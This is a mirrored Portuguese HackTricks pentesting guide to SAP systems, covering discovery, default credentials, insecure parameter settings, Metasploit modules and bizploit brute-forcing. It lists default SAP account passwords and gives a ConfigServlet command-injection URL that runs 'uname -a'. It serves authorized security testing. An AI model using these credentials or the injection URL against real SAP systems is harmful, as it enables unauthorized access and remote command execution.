mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
405 lines
31 KiB
Markdown
405 lines
31 KiB
Markdown
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
|
|
# Introdução sobre SAP
|
|
|
|
SAP significa Sistemas, Aplicações e Produtos em Processamento de Dados. SAP, por definição, é também o nome do software ERP \(Planejamento de Recursos Empresariais\) assim como o nome da empresa.
|
|
O sistema SAP consiste em uma série de módulos totalmente integrados, que cobrem virtualmente todos os aspectos da gestão empresarial.
|
|
|
|
Cada instância SAP \(ou SID\) é composta por três camadas: banco de dados, aplicação e apresentação\), cada paisagem geralmente consiste em quatro instâncias: dev, teste, QA e produção.
|
|
Cada uma das camadas pode ser explorada até certo ponto, mas o maior efeito pode ser obtido ao **atacar o banco de dados**.
|
|
|
|
Cada instância SAP é dividida em clientes. Cada um tem um usuário SAP\*, o equivalente da aplicação a “root”.
|
|
Na criação inicial, esse usuário SAP\* recebe uma senha padrão: “060719992” \(mais senhas padrão abaixo\).
|
|
Você ficaria surpreso se soubesse com que frequência essas **senhas não são alteradas em ambientes de teste ou dev**!
|
|
|
|
Tente obter acesso ao shell de qualquer servidor usando o nome de usuário <SID>adm.
|
|
Bruteforcing pode ajudar, no entanto, pode haver um mecanismo de bloqueio de conta.
|
|
|
|
# Descoberta
|
|
|
|
> A próxima seção é principalmente de [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) do usuário shipcod3!
|
|
|
|
* Verifique o Escopo da Aplicação ou o Resumo do Programa para testes. Anote os nomes dos hosts ou instâncias do sistema para conectar ao SAP GUI.
|
|
* Use OSINT \(inteligência de código aberto\), Shodan e Google Dorks para verificar arquivos, subdomínios e informações valiosas se a aplicação estiver voltada para a Internet ou pública:
|
|
```text
|
|
inurl:50000/irj/portal
|
|
inurl:IciEventService/IciEventConf
|
|
inurl:/wsnavigator/jsps/test.jsp
|
|
inurl:/irj/go/km/docs/
|
|
https://www.shodan.io/search?query=sap+portal
|
|
https://www.shodan.io/search?query=SAP+Netweaver
|
|
https://www.shodan.io/search?query=SAP+J2EE+Engine
|
|
```
|
|
* Aqui está como [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) se parece
|
|
|
|
![Tela de login do SAP](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
|
|
|
|
* Use nmap para verificar portas abertas e serviços conhecidos \(roteadores sap, webdynpro, serviços web, servidores web, etc.\)
|
|
* Rasteje as URLs se houver um servidor web em execução.
|
|
* Fuzz as diretórios \(você pode usar o Burp Intruder\) se houver servidores web em certas portas. Aqui estão algumas boas listas de palavras fornecidas pelo Projeto SecLists para encontrar caminhos padrão do SAP ICM e outros diretórios ou arquivos interessantes:
|
|
|
|
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
|
|
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
|
|
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
|
|
|
|
* Use o módulo auxiliar de DESCOBERTA DE SERVIÇO SAP do Metasploit para enumerar instâncias/serviços/componentes SAP:
|
|
```text
|
|
msf > use auxiliary/scanner/sap/sap_service_discovery
|
|
msf auxiliary(sap_service_discovery) > show options
|
|
Module options (auxiliary/scanner/sap/sap_service_discovery):
|
|
Name Current Setting Required Description
|
|
---- --------------- -------- -----------
|
|
CONCURRENCY 10 yes The number of concurrent ports to check per host
|
|
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
|
|
RHOSTS yes The target address range or CIDR identifier
|
|
THREADS 1 yes The number of concurrent threads
|
|
TIMEOUT 1000 yes The socket connect timeout in milliseconds
|
|
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
|
|
rhosts => 192.168.96.101
|
|
msf auxiliary(sap_service_discovery) > run
|
|
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
|
|
```
|
|
## Testando o Cliente Pesado / SAP GUI
|
|
|
|
Aqui está o comando para conectar ao SAP GUI
|
|
`sapgui <sap server hostname> <system number>`
|
|
|
|
* Verifique as credenciais padrão \(Na Taxonomia de Avaliação de Vulnerabilidades do Bugcrowd, isso é considerado como P1 -> Configuração de Segurança do Servidor Incorreta \| Usando Credenciais Padrão \| Servidor de Produção\):
|
|
```text
|
|
# SAP* - High privileges - Hardcoded kernel user
|
|
SAP*:06071992:*
|
|
SAP*:PASS:*
|
|
# IDEADM - High Privileges - Only in IDES systems
|
|
IDEADM:admin:*
|
|
# DDIC - High privileges - User has SAP_ALL
|
|
DDIC:19920706:000,001
|
|
# EARLYWATCH - High privileges
|
|
EARLYWATCH:SUPPORT:066
|
|
# TMSADM - Medium privileges
|
|
TMSADM:PASSWORD:000
|
|
TMSADM:$1Pawd2&:000
|
|
# SAPCPIC - Medium privileges
|
|
SAPCPIC:ADMIN:000,001
|
|
# SOLMAN dialog default users and passwords.
|
|
# For more info check:
|
|
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
|
|
# https://launchpad.support.sap.com/#/notes/2293011
|
|
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
|
|
SOLMAN_ADMIN:init1234:*
|
|
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
|
|
SAPSUPPORT:init1234:*
|
|
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
|
|
#SOLMAN<SID><CLNT>:init1234:*
|
|
# Trial systems
|
|
# -------------
|
|
# AS ABAP 7.40 SP08 Developer Edition:
|
|
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
|
|
DDIC:DidNPLpw2014:001
|
|
SAP*:DidNPLpw2014:001
|
|
DEVELOPER:abCd1234:001
|
|
BWDEVELOPER:abCd1234:001
|
|
# AS ABAP 7.50 SP02 Developer Edition:
|
|
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
|
|
# AS ABAP 7.51 SP02 Developer Edition:
|
|
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
|
|
DDIC:Appl1ance:000,001
|
|
SAP*:Appl1ance:000,001
|
|
DEVELOPER:Appl1ance:001
|
|
BWDEVELOPER:Appl1ance:001
|
|
# AS ABAP 7.51 SP01 Developer Edition:
|
|
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
|
|
# AS ABAP 7.52 SP04 Developer Edition:
|
|
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
|
|
DDIC:Down1oad:000,001
|
|
SAP*:Down1oad:000,001
|
|
DEVELOPER:Down1oad:001
|
|
BWDEVELOPER:Down1oad:001
|
|
```
|
|
* Execute o Wireshark e, em seguida, autentique-se no cliente \(SAP GUI\) usando as credenciais que você obteve, pois alguns clientes transmitem credenciais sem SSL. Existem dois plugins conhecidos para o Wireshark que podem dissecar os principais cabeçalhos usados pelo protocolo SAP DIAG também: SecureAuth Labs SAP dissection plug-in e SAP DIAG plugin by Positive Research Center.
|
|
* Verifique por elevações de privilégio, como usar alguns Códigos de Transação SAP \(tcodes\) para usuários com baixo privilégio:
|
|
* SU01 - Para criar e manter os usuários
|
|
* SU01D - Para Exibir Usuários
|
|
* SU10 - Para manutenção em massa
|
|
* SU02 - Para criação manual de perfis
|
|
* SM19 - Auditoria de segurança - configuração
|
|
* SE84 - Sistema de Informação para Autorizações SAP R/3
|
|
* Verifique se você pode executar comandos do sistema / executar scripts no cliente.
|
|
* Verifique se você pode fazer XSS no BAPI Explorer
|
|
|
|
# Testando a interface web
|
|
|
|
* Rasteje as URLs \(veja a fase de descoberta\).
|
|
* Fuzz as URLs como na fase de descoberta. Aqui está como [http://SAP:50000/index.html](http://sap:50000/index.html) se parece:
|
|
|
|
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
|
|
|
|
* Procure por vulnerabilidades web comuns \(Consulte o OWASP Top 10\) porque existem vulnerabilidades XSS, RCE, XXE, etc. em alguns lugares.
|
|
* Confira a [“Metodologia dos Caçadores de Bugs”](https://github.com/jhaddix/tbhm) de Jason Haddix para testar vulnerabilidades web.
|
|
* Bypass de autenticação via manipulação de verbo? Talvez :\)
|
|
* Abra `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`, em seguida, clique no botão “Escolher” e, na janela aberta, pressione “Pesquisar”. Você deve conseguir ver uma lista de usuários SAP \(Referência de Vulnerabilidade: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)\)
|
|
* As credenciais são enviadas via HTTP? Se sim, é considerado P3 com base na [Taxonomia de Avaliação de Vulnerabilidades](https://bugcrowd.com/vulnerability-rating-taxonomy) do Bugcrowd: Quebra de Autenticação e Gerenciamento de Sessão \| Função de Login Fraca Sobre HTTP. Dica: Confira também [http://SAP:50000/startPage](http://sap:50000/startPage) ou os portais de login :\)
|
|
|
|
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
|
|
|
|
* Tente `/irj/go/km/navigation/` para possível listagem de diretórios ou bypass de autenticação
|
|
* [http://SAP/sap/public/info](http://sap/sap/public/info) contém algumas informações valiosas:
|
|
```xml
|
|
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
|
|
<SOAP-ENV:Body>
|
|
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
|
|
<RFCSI>
|
|
<RFCPROTO>011</RFCPROTO>
|
|
<RFCCHARTYP>4102</RFCCHARTYP>
|
|
<RFCINTTYP>BIG</RFCINTTYP>
|
|
<RFCFLOTYP>IE3</RFCFLOTYP>
|
|
<RFCDEST>randomnum</RFCDEST>
|
|
<RFCHOST>randomnum</RFCHOST>
|
|
<RFCSYSID>BRQ</RFCSYSID>
|
|
<RFCDATABS>BRQ</RFCDATABS>
|
|
<RFCDBHOST>randomnum</RFCDBHOST>
|
|
<RFCDBSYS>ORACLE</RFCDBSYS>
|
|
<RFCSAPRL>740</RFCSAPRL>
|
|
<RFCMACH>324</RFCMACH>
|
|
<RFCOPSYS>AIX</RFCOPSYS>
|
|
<RFCTZONE>-25200</RFCTZONE>
|
|
<RFCDAYST/>
|
|
<RFCIPADDR>192.168.1.8</RFCIPADDR>
|
|
<RFCKERNRL>749</RFCKERNRL>
|
|
<RFCHOST2>randomnum</RFCHOST2>
|
|
<RFCSI_RESV/>
|
|
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
|
|
</RFCSI>
|
|
</rfc:RFC_SYSTEM_INFO.Response>
|
|
</SOAP-ENV:Body>
|
|
</SOAP-ENV:Envelope>
|
|
```
|
|
# Parâmetros de Configuração
|
|
|
|
Se você tiver os detalhes de login corretos durante o pentest ou conseguiu fazer login no SAP GUI usando credenciais básicas, você pode verificar os valores dos parâmetros. Muitos valores de parâmetros de configuração básicos e personalizados são considerados vulnerabilidades.
|
|
|
|
Você pode verificar os valores dos parâmetros tanto manualmente quanto automaticamente, usando scripts (por exemplo, [SAP Parameter Validator](https://github.com/damianStrojek/SAPPV)).
|
|
|
|
## Verificação Manual de Parâmetros
|
|
|
|
Ao navegar até o Código de Transação `RSPFPAR`, você pode consultar diferentes parâmetros e verificar seus valores.
|
|
|
|
A tabela abaixo contém os parâmetros definidos e as condições para os quais eles são distinguidos.
|
|
|
|
Por exemplo, se <i>gw/reg_no_conn_info</i> estiver definido como menos de 255 (`<255`), então deve ser considerado uma ameaça. Da mesma forma, se <i>icm/security_log</i> for igual a dois (`2`), também será uma possível ameaça.
|
|
|
|
| Parâmetro | Restrição | Descrição |
|
|
|------------------------------------------------|-------------|------------------------------------------------|
|
|
| `auth/object_disabling_active` | `Y` | Indica se a desativação de objetos está ativa. |
|
|
| `auth/rfc_authority_check` | `<2` | Define o nível de verificação de autoridade para RFCs. |
|
|
| `auth/no_check_in_some_cases` | `Y` | Especifica se as verificações são ignoradas em alguns casos. |
|
|
| `bdc/bdel_auth_check` | `FALSE` | Determina se as verificações de autorização são aplicadas no BDC. |
|
|
| `gw/reg_no_conn_info` | `<255` | Limita o número de caracteres para informações de conexão do número de registro. |
|
|
| `icm/security_log` | `2` | Define o nível de log de segurança para ICM (Gerenciador de Comunicação Internet). |
|
|
| `icm/server_port_0` | `Display` | Especifica a porta do servidor para ICM (porta 0). |
|
|
| `icm/server_port_1` | `Display` | Especifica a porta do servidor para ICM (porta 1). |
|
|
| `icm/server_port_2` | `Display` | Especifica a porta do servidor para ICM (porta 2). |
|
|
| `login/password_compliance_to_current_policy` | `0` | Impõe a conformidade da senha com a política atual. |
|
|
| `login/no_automatic_user_sapstar` | `0` | Desativa a atribuição automática do usuário SAPSTAR. |
|
|
| `login/min_password_specials` | `0` | Número mínimo de caracteres especiais exigidos nas senhas. |
|
|
| `login/min_password_lng` | `<8` | Comprimento mínimo exigido para senhas. |
|
|
| `login/min_password_lowercase` | `0` | Número mínimo de letras minúsculas exigidas nas senhas. |
|
|
| `login/min_password_uppercase` | `0` | Número mínimo de letras maiúsculas exigidas nas senhas. |
|
|
| `login/min_password_digits` | `0` | Número mínimo de dígitos exigidos nas senhas. |
|
|
| `login/min_password_letters` | `1` | Número mínimo de letras exigidas nas senhas. |
|
|
| `login/fails_to_user_lock` | `<5` | Número de tentativas de login falhadas antes de bloquear a conta do usuário. |
|
|
| `login/password_expiration_time` | `>90` | Tempo de expiração da senha em dias. |
|
|
| `login/password_max_idle_initial` | `<14` | Tempo máximo de inatividade em minutos antes de exigir nova entrada de senha (inicial). |
|
|
| `login/password_max_idle_productive` | `<180` | Tempo máximo de inatividade em minutos antes de exigir nova entrada de senha (produtivo). |
|
|
| `login/password_downwards_compatibility` | `0` | Especifica se a compatibilidade para baixo das senhas está habilitada. |
|
|
| `rfc/reject_expired_passwd` | `0` | Determina se senhas expiradas são rejeitadas para RFC (Chamadas de Função Remota). |
|
|
| `rsau/enable` | `0` | Habilita ou desabilita verificações de RS AU (Autorização). |
|
|
| `rdisp/gui_auto_logout` | `<5` | Especifica o tempo em minutos antes do logout automático de sessões GUI. |
|
|
| `service/protectedwebmethods` | `SDEFAULT` | Especifica as configurações padrão para métodos web protegidos. |
|
|
| `snc/enable` | `0` | Habilita ou desabilita a Comunicação de Rede Segura (SNC). |
|
|
| `ucon/rfc/active` | `0` | Ativa ou desativa RFCs de UCON (Conectividade Unificada). |
|
|
|
|
## Script para Verificação de Parâmetros
|
|
|
|
Devido ao número de parâmetros, também é possível exportar todos eles para um arquivo .XML e usar o script [SAPPV (SAP Parameter Validator)](https://github.com/damianStrojek/SAPPV), que verificará todos os parâmetros mencionados acima e imprimirá seus valores com a devida distinção.
|
|
```
|
|
./SAPPV.sh EXPORT.XML
|
|
|
|
Parameter: auth/no_check_in_some_cases
|
|
User-Defined Value: No data
|
|
System Default Value: Y
|
|
Comment: Activation of the Profile Generator
|
|
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"
|
|
|
|
Parameter: auth/object_disabling_active
|
|
User-Defined Value: N
|
|
System Default Value: N
|
|
Comment: Value 'N' prohibits disabling of authorization objects
|
|
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"
|
|
|
|
Parameter: auth/rfc_authority_check
|
|
User-Defined Value: 6
|
|
System Default Value: 6
|
|
Comment: Execution option for the RFC authority check
|
|
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"
|
|
|
|
Parameter: bdc/bdel_auth_check
|
|
User-Defined Value: No data
|
|
System Default Value: FALSE
|
|
Comment: batch-input: check authorisation for activity DELE when delete TA
|
|
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"
|
|
|
|
[...]
|
|
```
|
|
# Ataque!
|
|
|
|
* Verifique se está rodando em servidores ou tecnologias antigas, como Windows 2000.
|
|
* Planeje os possíveis exploits / ataques, há muitos módulos do Metasploit para descoberta de SAP \(módulos auxiliares\) e exploits:
|
|
```text
|
|
msf > search sap
|
|
Matching Modules
|
|
================
|
|
Name Disclosure Date Rank Description
|
|
---- --------------- ---- -----------
|
|
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
|
|
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
|
|
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
|
|
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
|
|
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
|
|
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
|
|
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
|
|
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
|
|
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
|
|
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
|
|
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
|
|
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
|
|
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
|
|
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
|
|
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
|
|
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
|
|
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
|
|
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
|
|
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
|
|
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
|
|
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
|
|
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
|
|
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
|
|
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
|
|
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
|
|
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
|
|
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
|
|
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
|
|
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
|
|
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
|
|
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
|
|
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
|
|
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
|
|
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
|
|
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
|
|
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
|
|
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
|
|
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
|
|
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
|
|
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
|
|
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
|
|
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
|
|
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
|
|
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
|
|
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
|
|
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
|
|
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
|
|
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
|
|
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
|
|
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
|
|
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
|
|
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
|
|
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
|
|
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
|
|
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
|
|
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
|
|
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
|
|
```
|
|
* Tente usar alguns exploits conhecidos \(ver Exploit-DB\) ou ataques como o velho e bom “SAP ConfigServlet Remote Code Execution” no SAP Portal:
|
|
```text
|
|
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
|
|
```
|
|
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
|
|
|
|
* Antes de executar o comando `start` no script bizploit na fase de Descoberta, você também pode adicionar o seguinte para realizar a avaliação de vulnerabilidades:
|
|
```text
|
|
bizploit> plugins
|
|
bizploit/plugins> vulnassess all
|
|
bizploit/plugins> vulnassess config bruteLogin
|
|
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
|
|
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
|
|
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
|
|
bizploit/plugins/vulnassess/config:bruteLogin> back
|
|
bizploit/plugins> vulnassess config registerExtServer
|
|
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
|
|
bizploit/plugins/vulnassess/config:registerExtServer> back
|
|
bizploit/plugins> vulnassess config checkRFCPrivs
|
|
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
|
|
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
|
|
bizploit/plugins> vulnassess config icmAdmin
|
|
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
|
|
bizploit/plugins/vulnassess/config:icmAdmin> back
|
|
bizploit/plugins> start
|
|
bizploit/plugins> back
|
|
bizploit> start
|
|
```
|
|
# Outras Ferramentas Úteis para Testes
|
|
|
|
* [PowerSAP](https://github.com/airbus-seclab/powersap) - Ferramenta Powershell para avaliar a segurança do sap
|
|
* [Burp Suite](https://portswigger.net/burp) - essencial para fuzzing de diretórios e avaliações de segurança na web
|
|
* [pysap](https://github.com/SecureAuthCorp/pysap) - Biblioteca Python para criar pacotes do protocolo de rede SAP
|
|
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Ajuda o nmap a detectar SAP/ERP
|
|
|
|
## Referências
|
|
|
|
* [Teste de Penetração SAP Usando Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
|
|
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - um script para semi-automatizar o Bizploit
|
|
* [Configuração de segurança do SAP NetWeaver ABAP parte 3: Senhas padrão para acesso ao aplicativo](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
|
|
* [Lista de códigos de transação ABAP relacionados à segurança do SAP](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
|
|
* [Quebrando o Portal SAP](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
|
|
* [Top 10 vulnerabilidades e ataques mais interessantes do SAP](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
|
|
* [Avaliando a segurança dos ecossistemas SAP com bizploit: Descoberta](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
|
|
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
|
|
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
|
|
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
|
|
|
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
|
|
|
{% embed url="https://websec.nl/" %}
|
|
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Suporte ao HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
